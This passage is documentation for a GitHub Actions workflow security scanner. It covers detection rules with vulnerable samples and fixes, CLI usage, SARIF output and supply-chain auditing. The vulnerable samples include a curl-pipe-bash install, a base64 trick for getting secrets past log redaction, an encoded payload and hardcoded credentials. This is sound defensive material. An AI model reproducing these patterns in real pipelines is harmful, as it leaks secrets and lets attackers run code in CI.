    uses: some-org/shared/.github/workflows/build.yml@main
    secrets: inherit

Remediation: Pass only the specific secrets the called workflow needs.

jobs:
  build:
    uses: some-org/shared/.github/workflows/build.yml@main
    secrets:
      npm-token: ${{ secrets.NPM_TOKEN }}

WRD-712: Insecure Commands

Severity: High

What it detects: ACTIONS_ALLOW_UNSECURE_COMMANDS set to true, which re-enables the deprecated set-env and add-path workflow commands. These legacy commands are vulnerable to injection attacks via untrusted input.

Vulnerable:

env:
  ACTIONS_ALLOW_UNSECURE_COMMANDS: true

Remediation: Remove ACTIONS_ALLOW_UNSECURE_COMMANDS and use GITHUB_ENV / GITHUB_PATH files instead of the legacy commands.


WRD-713: Hardcoded Credentials

Severity: High

What it detects: Hardcoded username or password values in container/services credentials blocks instead of secret references. This exposes credentials in the workflow file.

Vulnerable:

jobs:
  test:
    services:
      db:
        image: postgres
        credentials:
          username: admin
          password: supersecret123

Remediation: Use secret references for credentials.

credentials:
  username: ${{ secrets.REGISTRY_USERNAME }}
  password: ${{ secrets.REGISTRY_PASSWORD }}

WRD-714: Curl Pipe Bash

Severity: High

What it detects: curl | bash, wget | sh, and similar patterns that download and immediately execute remote scripts in run: blocks. A compromised server or MITM attack could inject malicious code.

Vulnerable:

- run: curl https://get.example.com/install.sh | bash

Remediation: Download the script first, verify its checksum or signature, then execute.

- run: |
    curl -Lo install.sh https://get.example.com/install.sh
    echo "expectedsha256sum  install.sh" | sha256sum -c
    bash install.sh

WRD-720: Unpinned Docker Images

Severity: Medium

What it detects: Container or services image: references that are not pinned to a specific @sha256: digest. Docker image tags are mutable and can be replaced with compromised versions.

Vulnerable:

jobs:
  test:
    container:
      image: node:18
    services:
      redis:
        image: redis:7

Remediation: Pin images to a sha256 digest.

container:
  image: node:18@sha256:a1b2c3d4e5f6...

Logic Rules (800s)

Logic rules catch workflow design flaws, insecure conditionals, permission misuse, and configuration mistakes that do not fall into the other categories.


WRD-801: Self-Hosted Runner on PR

Severity: Critical

What it detects: pull_request or pull_request_target triggers combined with runs-on: self-hosted. Pull requests from forks can execute arbitrary code on self-hosted runners. Unlike GitHub-hosted runners, self-hosted runners are not ephemeral and may retain credentials, access internal networks, or persist malware between runs.

Vulnerable:

on: pull_request

jobs:
  build:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - run: make build

Remediation: Use GitHub-hosted runners for PR workflows, or restrict self-hosted runner access using runner groups with repository policies.

jobs:
  build:
    runs-on: ubuntu-latest

WRD-810: Confused Deputy

Severity: High

What it detects: Auto-merge or auto-approve patterns (gh pr merge --auto, gh pr review --approve) without proper authorization checks (actor verification, team membership, or permission validation). An attacker who can trigger the workflow could get unauthorized changes merged.

Vulnerable:

- run: gh pr merge --auto --squash "$PR_URL"

Remediation: Add authorization checks (actor verification, team membership, or permission validation) before auto-merging or auto-approving.


WRD-811: Artifact Injection

Severity: High

What it detects: workflow_run triggers that download artifacts using actions/download-artifact without checking conclusion == 'success' on the triggering workflow. Artifacts from failed or malicious runs may be processed.

Vulnerable:

on:
  workflow_run:
    workflows: ["CI"]
    types: [completed]
jobs:
  deploy:
    steps:
      - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
        with:
          run-id: ${{ github.event.workflow_run.id }}
      - run: ./deploy.sh

Remediation: Add a condition to check the triggering workflow’s conclusion before downloading and using artifacts.

jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'

WRD-812: Risky Trigger Default Permissions

Severity: High

What it detects: A workflow uses one of the risky triggers (pull_request_target, workflow_run, issue_comment, discussion_comment) but has no top-level permissions: block. With no explicit permissions, the workflow inherits the repository default GITHUB_TOKEN scopes, which on many older repos is write-all. Combined with an attacker-controlled trigger, that gives a forked PR or third-party comment effectively write access to the repo.

The rule checks the parsed YAML for an on: key matching any of the risky triggers (string, list, or mapping forms) and a top-level permissions: key. If a risky trigger is present and permissions: is missing, it emits a finding at line 1 of the workflow.

Vulnerable:

on: pull_request_target   # WRD-812: no top-level permissions block

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - run: ./scripts/triage.sh

Remediation: Add an explicit minimal permissions: block at the top of the workflow. permissions: read-all is the safest baseline for risky triggers; grant individual write scopes only on the specific jobs that need them.

on: pull_request_target

permissions: read-all   # explicit baseline; jobs can opt into writes individually

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - run: ./scripts/triage.sh

WRD-820: Unsound Condition

Severity: Medium

What it detects: Conditions that are always true: if: true, if: always(), or self-comparisons. These make the condition a no-op guard.

Vulnerable:

- if: always()
  run: ./security-scan.sh

Remediation: Replace with a meaningful condition, or remove the if: block if the step should always run.


WRD-821: Bypassable Contains Check

Severity: Medium

What it detects: contains() checks on user-controlled input (github.event.issue.title, github.event.pull_request.body, github.head_ref, github.actor, etc.) used as authorization gates. An attacker can include the expected substring in their input to bypass the check.

Vulnerable:

- if: contains(github.event.comment.body, '/deploy')
  run: ./deploy.sh

Remediation: Use proper authorization mechanisms instead of string matching on user-controlled input. Consider team membership, CODEOWNERS, or GitHub’s built-in permissions.


WRD-822: Secret Redaction Bypass

Severity: Medium

What it detects: Patterns that bypass GitHub Actions secret redaction in logs: base64-encoding secrets, manipulating secrets with text tools (sed, tr, cut, fold, rev), or writing secrets to files then reading them back. The transformed output is not masked by GitHub Actions.

Vulnerable:

- run: echo "${{ secrets.API_KEY }}" | base64

Remediation: Avoid encoding or transforming secrets in ways that bypass redaction. Pass secrets directly to the tools that need them. Never echo or log transformed secret values.


WRD-823: Cache Poisoning

Severity: Medium

What it detects: actions/cache usage in release or elevated-permission workflows (those with write-all, contents: write, packages: write, or id-token: write). An attacker who poisons the cache via a PR build can inject malicious artifacts into the release pipeline.

Vulnerable:

on:
  release:
    types: [published]

permissions:
  contents: write

jobs:
  release:
    steps:
      - uses: actions/cache@668228422ae6a00e4ad889ee87cd7109ec5666a7  # v5.0.4
        with:
          key: deps-${{ hashFiles('**/package-lock.json') }}
      - run: npm ci && npm run build

Remediation: Use separate cache keys for PR and release workflows. Avoid restoring caches from untrusted branches in release builds. Consider using immutable artifacts instead of mutable caches.


WRD-824: Excessive Permissions

Severity: Medium

What it detects: permissions: write-all grants, missing top-level permissions: blocks (which inherit potentially broad defaults), and unnecessary write permission entries at the job level.

Vulnerable:

permissions: write-all

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: make build

Remediation: Add an explicit permissions: block. Grant only the specific scopes needed. Use permissions: {} for read-only or no-token workflows.

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: make build

WRD-825: Spoofable Bot Check

Severity: Medium

What it detects: if: conditions checking github.actor against bot names like dependabot[bot], renovate[bot], or github-actions[bot]. GitHub usernames can be changed to match bot names, so an attacker could rename their account to trigger the condition.

Vulnerable:

jobs:
  auto-merge:
    if: github.actor == 'dependabot[bot]'
    steps:
      - run: gh pr merge --auto

Remediation: Use github.event.sender.type == 'Bot' or verify the app installation ID instead of checking the actor name.


WRD-826: Undocumented Permissions

Severity: Medium

What it detects: Permission entries (e.g., contents: write, packages: write) that lack an explanatory comment. Documenting permissions makes security reviews easier and helps future maintainers understand the intent behind each grant.

Vulnerable:

permissions:
  contents: write
  packages: write
  id-token: write

Remediation: Add a comment on the same line or the line above explaining why each permission is needed.

permissions:
  contents: write   # Required to push release tags
  packages: write   # Required to push Docker images
  id-token: write   # Required for OIDC authentication to AWS

WRD-827: Superfluous Actions

Severity: Medium

What it detects: Setup actions (e.g., actions/setup-node, actions/setup-python, actions/setup-go) used without specifying a version input. These tools are pre-installed on GitHub-hosted runners, so the setup action adds overhead without benefit if the default version is sufficient.

Vulnerable:

- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f  # v6.3.0
- run: node --version

Remediation: If you need a specific version, add a version input (e.g., node-version: '20'). Otherwise, consider removing the setup action and using the pre-installed version.

- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f  # v6.3.0
  with:
    node-version: '20'

WRD-828: Obfuscation in Workflow

Severity: Medium

What it detects: Base64 decode operations (base64 -d, atob, Buffer.from(..., 'base64')) appearing in non-run: contexts (env blocks, with: inputs). This is unusual and may indicate an attempt to obfuscate malicious content.

Vulnerable:

env:
  PAYLOAD: $(echo "bWFsaWNpb3Vz" | base64 -d)

Remediation: If base64 encoding is necessary for legitimate data (certificates, binary config), move the decode into a run: block with clear documentation explaining its purpose.


WRD-833: Anonymous Workflow Definition

Severity: Low

What it detects: Two patterns:

  1. Actions pinned to branch names like @main or @master instead of a commit SHA or version tag. Branch tips change with every commit, making builds non-reproducible.
  2. Workflow files missing a top-level name: key. Without a name, the workflow appears as the filename in the GitHub Actions UI.

Vulnerable:

# Missing name:
on: push
jobs:
  build:
    steps:
      - uses: some-org/action@main

Remediation: Pin actions to full commit SHAs. Add a descriptive name: key at the top of workflow files.

name: CI Build

on: push
jobs:
  build:
    steps:
      - uses: some-org/action@a1b2c3d4e5f6...  # v1.2.0

WRD-831: Missing Concurrency Limits

Severity: Low

What it detects: Workflows triggered by push or pull_request that do not define a concurrency: block. Without concurrency limits, rapid pushes can queue many redundant runs, wasting runner resources.

Vulnerable:

on: push

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: make build

Remediation: Add a concurrency block to cancel in-progress runs on the same branch.

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - run: make build

GitHub Action

The warden GitHub Action runs workflow security scanning as part of your CI pipeline. It scans all workflows in the repository and optionally fails the build based on finding severity.

Basic Usage

name: Security Scan

on:
  push:
    branches: [main]
  pull_request:

jobs:
  warden:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
        with:
          path: .github/workflows

Inputs

InputRequiredDefaultDescription
pathNo.Path to scan. May be a directory or a single workflow file
fail-onNohighMinimum severity that causes a non-zero exit: critical, high, medium, low, none
formatNoconsoleOutput format: console, json, sarif, markdown

Outputs

OutputDescription
results-jsonJSON findings payload for downstream steps. Populate by running warden with format: json and capturing stdout into $GITHUB_OUTPUT (see example below)

Failing on Severity

Set fail-on to control which severity level causes the action to exit non-zero:

- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    fail-on: critical   # only fail on critical findings
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    fail-on: medium     # fail on medium, high, and critical
- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    fail-on: none       # never fail (reporting only)

SARIF Upload

To upload results to GitHub Code Scanning, run warden a second time with format: sarif and capture its stdout into a file the upload-sarif action can read:

- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    fail-on: none   # let Code Scanning handle enforcement

- name: Re-run warden as SARIF
  run: |
    warden scan . --format sarif > warden.sarif

- uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13  # v4.35.1
  if: always()
  with:
    sarif_file: warden.sarif

See the SARIF guide for full details.

Using with Pull Request Annotations

When running on a pull request, warden annotations appear inline on the diff:

name: Workflow Security

on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      checks: write  # required for annotations
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
      - uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
        with:
          fail-on: high

Configuration File

Place a .warden.toml in the repository root (or any parent of the scan target) to suppress rules or override severities. The config has just two fields:

# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]

# Override severities
[severity_overrides]
"WRD-322" = "low"

disabled_rules removes those rule IDs from the scan. severity_overrides reclassifies a rule’s findings before the fail-on threshold is applied. Severity values must be one of critical, high, medium, or low.

Pinning the Action

Always pin the warden action to a specific commit SHA:

- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0

Do not use @main or @v1 (mutable tags). See WRD-320.

Example: Full Security Gate Workflow

The action’s only output is results-json, which holds the JSON findings payload for downstream steps. The example below runs warden once for the gate (console output, fail on high) and then re-runs warden in json and sarif formats so we can both upload SARIF to Code Scanning and parse findings via actions/github-script.

name: Workflow Security Gate

on:
  push:
    branches: [main, develop]
  pull_request:
  schedule:
    - cron: "0 8 * * 1"  # weekly Monday scan

jobs:
  scan:
    name: Scan workflows
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write  # for SARIF upload

    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2

      - name: Run warden (gate)
        uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
        with:
          path: .
          fail-on: high

      - name: Re-run warden as SARIF
        if: always()
        run: warden scan . --format sarif > results.sarif

      - name: Upload SARIF
        if: always()
        uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13  # v4.35.1
        with:
          sarif_file: results.sarif

      - name: Re-run warden as JSON for downstream consumption
        if: always()
        id: warden_json
        run: |
          warden scan . --format json --fail-on none > findings.json
          {
            echo 'findings<<__WARDEN_EOF__'
            cat findings.json
            echo
            echo '__WARDEN_EOF__'
          } >> "$GITHUB_OUTPUT"

      - name: Summarize findings
        if: always()
        uses: actions/github-script@v7
        env:
          FINDINGS_JSON: ${{ steps.warden_json.outputs.findings }}
        with:
          script: |
            const data = JSON.parse(process.env.FINDINGS_JSON || '{}');
            const findings = data.findings || [];
            core.summary
              .addHeading('Warden findings')
              .addRaw(`Total: ${findings.length}`)
              .write();

SARIF Output

Warden supports outputting findings in SARIF (Static Analysis Results Interchange Format) 2.1.0. SARIF integrates with GitHub Code Scanning to show security alerts in the Security tab and inline on pull request diffs.

Generating SARIF

CLI

warden scan /path/to/repo --format sarif -o results.sarif

Or write to stdout and redirect:

warden scan /path/to/repo --format sarif > results.sarif

Docker

docker run --rm -v "$PWD:/repo" ghcr.io/projectwarden/warden:latest \
  scan /repo --format sarif -o /repo/results.sarif

GitHub Action

- uses: projectwarden/warden@7f13104599d0c765952bc981e370b7c585e9f818  # v1.0.0
  with:
    format: sarif
    output-file: results.sarif

Uploading to GitHub Code Scanning

Use the github/codeql-action/upload-sarif action to upload results. The security-events: write permission is required.

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write

    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2

      - name: Run warden
        run: warden scan . --format sarif -o results.sarif

      - name: Upload SARIF to Code Scanning
        uses: github/codeql-action/upload-sarif@c10b8064de6f491fea524254123dbe5e09572f13  # v4.35.1
        if: always()
        with:
          sarif_file: results.sarif
          category: warden

The if: always() condition ensures results are uploaded even if warden exits non-zero (due to findings). Without it, findings would prevent the upload.

Viewing Results

After upload, results appear in three places:

  1. Security tab: github.com/<org>/<repo>/security/code-scanning shows all open alerts with rule details and remediation guidance.

  2. Pull request checks: Alerts introduced by a PR are shown as inline annotations on the diff, with the rule name and description.

  3. API: Query programmatically via GET /repos/{owner}/{repo}/code-scanning/alerts.

Dismissing Alerts

Alerts can be dismissed in the GitHub UI with a reason (false positive, won’t fix, used in tests). Dismissals are tracked in the audit log. Dismissed alerts are not re-opened unless the same finding reappears in a new commit.

SARIF Schema Details

Warden’s SARIF output includes:

  • runs[].tool.driver.name: warden
  • runs[].tool.driver.version: current warden version
  • runs[].tool.driver.rules: all 53 rule definitions with id, name, shortDescription, fullDescription, helpUri, and properties.tags
  • runs[].results[].ruleId: e.g. WRD-101
  • runs[].results[].level: error (critical/high), warning (medium), note (low)
  • runs[].results[].locations: file path and line number
  • runs[].results[].message: human-readable description with context

Filtering by Severity in SARIF

SARIF level mapping:

Warden severitySARIF level
Criticalerror
Higherror
Mediumwarning
Lownote

GitHub Code Scanning’s default alert filter shows error and warning. Low (note) findings are visible but not shown by default.

Multi-repo Scanning

To scan multiple repositories and aggregate results:

#!/bin/bash
for repo in org/repo1 org/repo2 org/repo3; do
  gh repo clone "$repo" "/tmp/$repo"
  warden scan "/tmp/$repo" --format sarif -o "/tmp/${repo//\//-}.sarif"
done

Upload each SARIF file to the corresponding repository using the GitHub API:

gh api repos/org/repo1/code-scanning/sarifs \
  -f sarif="$(base64 -w0 /tmp/org-repo1.sarif)" \
  -f ref="refs/heads/main" \
  -f commitSha="$(git -C /tmp/org/repo1 rev-parse HEAD)"

Offline SARIF Viewers

To view SARIF results without uploading to GitHub:

jq '.runs[0].results[] | {rule: .ruleId, file: .locations[0].physicalLocation.artifactLocation.uri, line: .locations[0].physicalLocation.region.startLine, message: .message.text}' results.sarif

CLI Reference

Warden is invoked as warden. Every subcommand supports --help, and the top-level binary supports --help and --version.

warden <COMMAND> [OPTIONS]

Run warden with no arguments inside a TTY to launch the interactive guided menu. In CI or when stdin is piped, the binary instead prints top-level help.

Top-Level Flags

FlagDescription
--versionPrint version and exit
--help, -hPrint help

There are no global --no-color, --quiet, --verbose, or --config flags. Subcommand-specific flags are documented below.


warden scan

Scan workflows for security vulnerabilities.

warden scan <TARGET> [OPTIONS]

<TARGET> may be:

  • A local path (., ./my-project, a single .yml file). When given a directory, warden looks for .github/workflows/*.yml and *.yaml.
  • A GitHub owner/repo slug (e.g. cli/cli, aquasecurity/trivy). Workflows are fetched via the GitHub API.

Options

FlagDefaultDescription
--format <FORMAT>consoleOutput format: console, json, sarif, markdown (alias: pr-comment)
--fail-on <SEVERITY>highMinimum severity that causes a non-zero exit: critical, high, medium, low, none
--github-token <TOKEN>noneGitHub token for API calls. Also reads GITHUB_TOKEN env var
--progressoffEmit NDJSON progress events on stderr (one per workflow)
--alloffPrint every finding instead of capping the console view at 20

Exit Codes

CodeMeaning
0No findings at or above --fail-on threshold
1One or more findings at or above the threshold
2Input or runtime error (file not found, invalid YAML, network error, …)

Examples

# Scan the current project
warden scan .

# Scan a public repo
warden scan cli/cli

# Write SARIF for GitHub Code Scanning
warden scan . --format sarif > results.sarif

# Fail CI only on critical findings
warden scan . --fail-on critical

# Print every finding (no top-20 cap)
warden scan pytorch/pytorch --all

# Stream NDJSON scan progress on stderr
warden scan . --progress

warden score

Compute a 0-100 security score for the workflows in <TARGET>.

warden score <TARGET> [OPTIONS]

<TARGET> accepts the same forms as warden scan (local path or owner/repo).

Options

FlagDefaultDescription
--format <FORMAT>consoleOutput format: console, json, sarif, markdown
--fail-on <SEVERITY>highMinimum severity that causes a non-zero exit
--github-token <TOKEN>noneGitHub token for API calls. Also reads GITHUB_TOKEN env var

Examples

# Score the current project
warden score .

# JSON output for dashboards
warden score aquasecurity/trivy --format json

# Score a public repo
warden score cli/cli

warden fix

Compute and apply automatic fixes for common workflow security issues (unpinned actions, expression injection, missing permissions, …).

warden fix <PATH> [OPTIONS]

<PATH> may be a local workflow file, a directory, or a GitHub owner/repo slug.

Options

FlagDefaultDescription
--applyoffApply the fixes by writing files (without --apply, runs in plan mode and prints changes only)
--format <FORMAT>consoleconsole prints colored output and writes files to disk (unless --apply); json emits structured output and never touches disk
--github-token <TOKEN>noneGitHub token for API calls. Also reads GITHUB_TOKEN env var
--pr <OWNER/REPO>noneOpen a pull request with the computed fixes against OWNER/REPO. Requires a token with contents:write and pull-requests:write
--branch <NAME>warden/auto-fix-<unix-ts>Branch name to create for the PR
--prepare-onlyoffPush the branch but do not call the GitHub API to create the PR; instead, print a compare URL

Examples

# Show fixable issues without writing
warden fix .              # plan only (default)
warden fix . --apply      # actually write changes

# Apply fixes in place
warden fix .github/workflows/ci.yml

# Compute fixes for a remote repo and emit JSON (no disk writes)
warden fix cli/cli --format json

# Open a pull request with the computed fixes
GITHUB_TOKEN=ghp_... warden fix . --pr myorg/myrepo

# Push the branch but do not open the PR; print a compare URL instead
warden fix . --pr myorg/myrepo --prepare-only

warden upstream

Resolve a project’s direct (and optionally depth-2) dependencies back to their source repositories on GitHub, then run warden’s full rule set against each one’s workflows.

warden upstream [PATH] [OPTIONS]

PATH defaults to .. Manifest discovery is non-recursive (project root only) and currently understands package.json, requirements.txt, Pipfile.lock, go.mod, and Cargo.toml.

Options

FlagDefaultDescription
--concurrency <N>8Number of dep repos to scan in parallel
--format <FORMAT>consoleOutput format: console, json, sarif, markdown
--fail-on <SEVERITY>highMinimum severity that causes a non-zero exit
--depth <N>1Dependency walk depth (1 = direct deps only, 2 = also deps-of-deps)
--github-token <TOKEN>noneGitHub token for API calls. Also reads GITHUB_TOKEN env var

Examples

# Audit the current project's direct dependencies
warden upstream .

# Scan upstream + deps-of-deps
warden upstream . --depth 2

# Crank concurrency for a fast scan with a token
GITHUB_TOKEN=ghp_... warden upstream . --concurrency 16

# JSON output for the dashboard
warden upstream . --format json

warden rules

List all detection rules grouped by severity.

warden rules

This subcommand takes no flags. It prints every registered rule’s ID, SEVERITY, and NAME, sorted by ID.

Example

warden rules

Configuration File (.warden.toml)

Warden walks from the scan target up to the filesystem root looking for a .warden.toml. If found, it loads two fields:

# Suppress specific rules
disabled_rules = ["WRD-710", "WRD-826"]

# Override severities
[severity_overrides]
"WRD-322" = "low"

disabled_rules removes those rule IDs from the scan entirely. severity_overrides lets you reclassify a rule’s findings before the --fail-on threshold is applied. Severity values must be one of critical, high, medium, or low.

There are no [scan], [ignore], [ignore.file], [severity], or [score] tables; warden v1.0 does not support per-file suppression, category filters, or score thresholds in the config file.


Environment Variables

VariableDescription
GITHUB_TOKENGitHub token for API calls (equivalent to --github-token on every subcommand)

Warden v1.0 does not read any other env vars.

Configuration (.warden.toml)

Warden reads an optional .warden.toml file from the scan target directory (or any parent, walking up toward the filesystem root). The file has just two fields: disabled_rules and severity_overrides.

Example

# Rule IDs to disable entirely. These rules will not run and their
# findings will not appear in any output.
disabled_rules = ["WRD-710", "WRD-201"]

# Override the severity reported for a given rule. Valid values:
# "critical", "high", "medium", "low".
[severity_overrides]
"WRD-322" = "low"
"WRD-101" = "critical"

Fields

FieldTypeDescription
disabled_rulesstring[]Rule IDs to skip. Matched exactly against WRD-NNN.
severity_overrides{ string: string }Map rule ID to a replacement severity.

Lookup behavior

Warden starts at the scan target path and walks upward looking for a .warden.toml. The first one it finds wins; parent configs are not merged. Remote scans (warden scan owner/repo) do not read any local config.

Interaction with --fail-on

Severity overrides are applied before the --fail-on threshold is evaluated, so downgrading a rule to low will prevent it from failing CI when --fail-on high is in effect.

Supply chain auditing

warden upstream extends warden beyond your own workflow files. It walks your project’s dependency manifests, resolves each direct dependency back to its source repository on GitHub, and runs the full 53-rule detector against the workflow files in each of those upstream repos. If one of your dependencies has a vulnerable CI/CD setup (expression injection, unpinned third-party actions, cache poisoning, secret exfiltration, etc.) you’ll see it in the audit output.

Supported manifests

EcosystemFileNotes
npmpackage.jsondependencies + devDependencies
PyPIPipfile.lockPreferred over requirements.txt
PyPIrequirements.txtFallback when no lockfile
Gogo.modSkips // indirect unless --depth 2
crates.ioCargo.toml[dependencies] + [dev-dependencies]

Usage

warden upstream <path> \
    [--concurrency N] \
    [--format console|json|sarif|markdown] \
    [--fail-on critical|high|medium|low|none] \
    [--depth 1|2] \
    [--github-token TOKEN]

Examples

# Audit direct deps in the current directory
warden upstream .

# Shallow transitive walk (deps-of-deps, deduplicated, capped at 500)
warden upstream . --depth 2

# JSON output for pipelines
warden upstream . --format json > audit.json

# CI: exit non-zero if any dep has a high-severity finding
warden upstream . --fail-on high

Performance and rate limits

Workers run in a std::thread::scope pool (no tokio) and share the existing reqwest::blocking client. The default concurrency is 8. Each worker sleeps ~100ms between requests to avoid hammering registries.

The GitHub API is the bottleneck: unauthenticated callers get 60 requests per hour, authenticated ones 5000. Always set GITHUB_TOKEN (or --github-token) for anything beyond a handful of deps; warden will warn you if you have more than 30 deps and no token.

Limitations

  • Only GitHub-hosted source repos are scanned. Packages whose repository metadata points at GitLab, Bitbucket, or a custom Gitea instance are skipped with a stderr warning.
  • --depth 2 is the hard ceiling to prevent combinatorial explosion. Total deps across both levels are capped at 500.
  • Path-only and git-only Cargo deps (no version field) are skipped because they can’t be resolved through crates.io.